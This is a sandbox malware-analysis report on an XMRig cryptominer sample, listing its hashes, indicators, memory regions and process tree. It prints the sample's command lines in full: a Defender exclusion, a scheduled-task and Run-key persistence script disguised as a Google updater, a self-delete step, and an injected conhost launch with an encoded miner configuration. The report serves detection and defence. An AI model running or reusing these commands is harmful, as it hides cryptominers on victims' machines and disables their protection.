xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
283s
max time network
1785s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
23/01/2024, 19:27

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General

Target

grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 2932 created 1244	2932	Yvdp8t5knpQz7sFB.exe	16
PID 2932 created 1244	2932	Yvdp8t5knpQz7sFB.exe	16
PID 2932 created 1244	2932	Yvdp8t5knpQz7sFB.exe	16
PID 2932 created 1244	2932	Yvdp8t5knpQz7sFB.exe	16
PID 3008 created 1244	3008	updater.exe	16
PID 3008 created 1244	3008	updater.exe	16
PID 3008 created 1244	3008	updater.exe	16
PID 3008 created 1244	3008	updater.exe	16
PID 344 created 1244	344	conhost.exe	16
PID 3008 created 1244	3008	updater.exe	16

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

resource	yara_rule
behavioral31/memory/1664-72-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1664-74-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1664-76-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1664-78-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1664-79-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1664-83-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1664-85-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1664-87-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1664-89-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1664-91-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1664-93-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1664-95-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1664-97-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1664-99-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1664-101-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1664-103-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1664-105-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1664-107-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1664-114-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1664-116-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1664-118-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1664-120-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1664-122-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1664-129-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1664-131-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1664-133-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1664-135-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1664-137-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1664-139-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral31/memory/1664-141-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2432	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
3008	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
2596	taskeng.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral31/memory/1664-68-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1664-72-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1664-74-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1664-76-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1664-78-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1664-79-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1664-83-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1664-85-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1664-87-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1664-89-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1664-91-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1664-93-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1664-95-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1664-97-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1664-99-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1664-101-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1664-103-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1664-105-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1664-107-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1664-114-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1664-116-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1664-118-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1664-120-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1664-122-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1664-129-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1664-131-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1664-133-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1664-135-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1664-137-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1664-139-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral31/memory/1664-141-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 3008 set thread context of 344	3008	updater.exe	47
PID 3008 set thread context of 1664	3008	updater.exe	53

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	Yvdp8t5knpQz7sFB.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
524	schtasks.exe
2940	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1112	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = b0f2e4cff350da01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
2932	Yvdp8t5knpQz7sFB.exe
2932	Yvdp8t5knpQz7sFB.exe
2380	powershell.exe
2932	Yvdp8t5knpQz7sFB.exe
2932	Yvdp8t5knpQz7sFB.exe
2400	powershell.exe
2932	Yvdp8t5knpQz7sFB.exe
2932	Yvdp8t5knpQz7sFB.exe
2932	Yvdp8t5knpQz7sFB.exe
2932	Yvdp8t5knpQz7sFB.exe
2836	powershell.exe
3008	updater.exe
3008	updater.exe
1732	powershell.exe
3008	updater.exe
3008	updater.exe
2040	powershell.exe
3008	updater.exe
3008	updater.exe
3008	updater.exe
3008	updater.exe
344	conhost.exe
344	conhost.exe
3008	updater.exe
3008	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
464	Process not Found

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	2380	powershell.exe
Token: SeDebugPrivilege	2400	powershell.exe
Token: SeDebugPrivilege	2836	powershell.exe
Token: SeDebugPrivilege	1732	powershell.exe
Token: SeDebugPrivilege	2040	powershell.exe
Token: SeDebugPrivilege	3008	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1112	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1112	WMIC.exe
Token: SeSecurityPrivilege	1112	WMIC.exe
Token: SeTakeOwnershipPrivilege	1112	WMIC.exe
Token: SeLoadDriverPrivilege	1112	WMIC.exe
Token: SeSystemtimePrivilege	1112	WMIC.exe
Token: SeBackupPrivilege	1112	WMIC.exe
Token: SeRestorePrivilege	1112	WMIC.exe
Token: SeShutdownPrivilege	1112	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1112	WMIC.exe
Token: SeUndockPrivilege	1112	WMIC.exe
Token: SeManageVolumePrivilege	1112	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1112	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1112	WMIC.exe
Token: SeSecurityPrivilege	1112	WMIC.exe
Token: SeTakeOwnershipPrivilege	1112	WMIC.exe
Token: SeLoadDriverPrivilege	1112	WMIC.exe
Token: SeSystemtimePrivilege	1112	WMIC.exe
Token: SeBackupPrivilege	1112	WMIC.exe
Token: SeRestorePrivilege	1112	WMIC.exe
Token: SeShutdownPrivilege	1112	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1112	WMIC.exe
Token: SeUndockPrivilege	1112	WMIC.exe
Token: SeManageVolumePrivilege	1112	WMIC.exe
Token: SeLockMemoryPrivilege	1664	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2400 wrote to memory of 2940	2400	powershell.exe	32
PID 2400 wrote to memory of 2940	2400	powershell.exe	32
PID 2400 wrote to memory of 2940	2400	powershell.exe	32
PID 2432 wrote to memory of 2780	2432	cmd.exe	35
PID 2432 wrote to memory of 2780	2432	cmd.exe	35
PID 2432 wrote to memory of 2780	2432	cmd.exe	35
PID 2836 wrote to memory of 2584	2836	powershell.exe	38
PID 2836 wrote to memory of 2584	2836	powershell.exe	38
PID 2836 wrote to memory of 2584	2836	powershell.exe	38
PID 2596 wrote to memory of 3008	2596	taskeng.exe	40
PID 2596 wrote to memory of 3008	2596	taskeng.exe	40
PID 2596 wrote to memory of 3008	2596	taskeng.exe	40
PID 2040 wrote to memory of 524	2040	powershell.exe	45
PID 2040 wrote to memory of 524	2040	powershell.exe	45
PID 2040 wrote to memory of 524	2040	powershell.exe	45
PID 3008 wrote to memory of 344	3008	updater.exe	47
PID 304 wrote to memory of 1112	304	cmd.exe	48
PID 304 wrote to memory of 1112	304	cmd.exe	48
PID 304 wrote to memory of 1112	304	cmd.exe	48
PID 3008 wrote to memory of 1664	3008	updater.exe	53

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1244
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Yvdp8t5knpQz7sFB.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Yvdp8t5knpQz7sFB.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2932
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2380
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2400
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2940
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Yvdp8t5knpQz7sFB.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2432
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2836
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:2584
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1732
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2040
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:524
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:304
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Detects videocard installed
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:1112
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:344
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:444
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1664

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2780

C:\Windows\system32\taskeng.exe
taskeng.exe {062BEE49-F9E6-4ACB-9931-E6E977750808} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2596
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3008

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
192KB

MD5
b1e48a690599ef50288bdc441f493156

SHA1
d23bb700dab976eebe3b2dbc87cc1526a45e8bb5

SHA256
be1e731a489a38ae05d31edcdf93ae50d978d5439f57143273e904f223a1d3e7

SHA512
45de824c6840ecdbaae9d0c0d3276fd26d548ae2bafe1fd5244eca9025336e72645665169646b4bff87dfcebfb731bc92d49ecce4172776546a60bff64305637

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
484KB

MD5
650d9335b645c44bafe0755d2a54a7cc

SHA1
5149a39696f186513dfd5537e798db271bbac2bf

SHA256
6a51ad694ad50b8ef939bca6b1ae30d0735cb06e06daa00886649aadaf06a844

SHA512
e4b3a7637e6015ac0bae091013464b31b36461e9c819d65b6dd72928e6e43a92cd6e3638fe0c2e891b1e2e3010aac9d9344b08301b6b6faf679f9b30b6f6c83f

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
7dadad16082d5f2a553f885d4ca76c32

SHA1
719cdd2fb066084a5cf743d19dae382c17a481aa

SHA256
f2c6df53e59a75da7ab4456950759d0f8bd6752e823618a518d49b7ecd07b318

SHA512
cd5aa4915669618fc4addcb1ec83331ee8b0a41b6b430b8747edfcc8911278a9c03fe055c1d476f6f4a8559813182a432d864529c492b74a34024b400349bf44

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
155KB

MD5
4b32da3b7428aa7e9c6d2d9b96ec02be

SHA1
23886366fbe2c0746b737425963d7f12dfa8612e

SHA256
125867a71128374bfd6686aba71f4f7d00181db06a06b1cf965991adbbe559ab

SHA512
ac51267f5903fca61d64a392125d1a80388ee12797f1c8c6d7da0bb810965767ee3518e079105a703112895ad53527cb771bca84a17ac4d8b56ea3695220b102

Download Submit
memory/344-71-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/344-75-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1664-87-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1664-81-0x0000000000BB0000-0x0000000000BD0000-memory.dmp

Filesize
128KB

Download
memory/1664-120-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1664-129-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1664-118-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1664-116-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1664-114-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1664-107-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1664-105-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1664-103-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1664-101-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1664-99-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1664-97-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1664-95-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1664-93-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1664-91-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1664-89-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1664-69-0x0000000000830000-0x0000000000850000-memory.dmp

Filesize
128KB

Download
memory/1664-85-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1664-83-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1664-131-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1664-122-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1664-133-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1664-80-0x0000000000830000-0x0000000000850000-memory.dmp

Filesize
128KB

Download
memory/1664-70-0x0000000000BB0000-0x0000000000BD0000-memory.dmp

Filesize
128KB

Download
memory/1664-68-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1664-67-0x00000000002C0000-0x00000000002E0000-memory.dmp

Filesize
128KB

Download
memory/1664-141-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1664-139-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1664-137-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1664-72-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1664-79-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1664-78-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1664-76-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1664-135-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1664-74-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1732-52-0x000007FEF55B0000-0x000007FEF5F4D000-memory.dmp

Filesize
9.6MB

Download
memory/1732-50-0x0000000000D60000-0x0000000000DE0000-memory.dmp

Filesize
512KB

Download
memory/1732-51-0x0000000000D60000-0x0000000000DE0000-memory.dmp

Filesize
512KB

Download
memory/1732-49-0x0000000000D60000-0x0000000000DE0000-memory.dmp

Filesize
512KB

Download
memory/1732-48-0x000007FEF55B0000-0x000007FEF5F4D000-memory.dmp

Filesize
9.6MB

Download
memory/1732-46-0x000007FEF55B0000-0x000007FEF5F4D000-memory.dmp

Filesize
9.6MB

Download
memory/1732-47-0x0000000000D60000-0x0000000000DE0000-memory.dmp

Filesize
512KB

Download
memory/2040-57-0x00000000012C0000-0x0000000001340000-memory.dmp

Filesize
512KB

Download
memory/2040-54-0x00000000012C0000-0x0000000001340000-memory.dmp

Filesize
512KB

Download
memory/2040-59-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

Filesize
9.6MB

Download
memory/2040-55-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

Filesize
9.6MB

Download
memory/2040-53-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

Filesize
9.6MB

Download
memory/2040-58-0x00000000012C0000-0x0000000001340000-memory.dmp

Filesize
512KB

Download
memory/2040-56-0x00000000012C0000-0x0000000001340000-memory.dmp

Filesize
512KB

Download
memory/2380-5-0x000000001B180000-0x000000001B462000-memory.dmp

Filesize
2.9MB

Download
memory/2380-7-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

Filesize
9.6MB

Download
memory/2380-6-0x0000000002250000-0x0000000002258000-memory.dmp

Filesize
32KB

Download
memory/2380-9-0x00000000024E0000-0x0000000002560000-memory.dmp

Filesize
512KB

Download
memory/2380-10-0x00000000024E0000-0x0000000002560000-memory.dmp

Filesize
512KB

Download
memory/2380-11-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

Filesize
9.6MB

Download
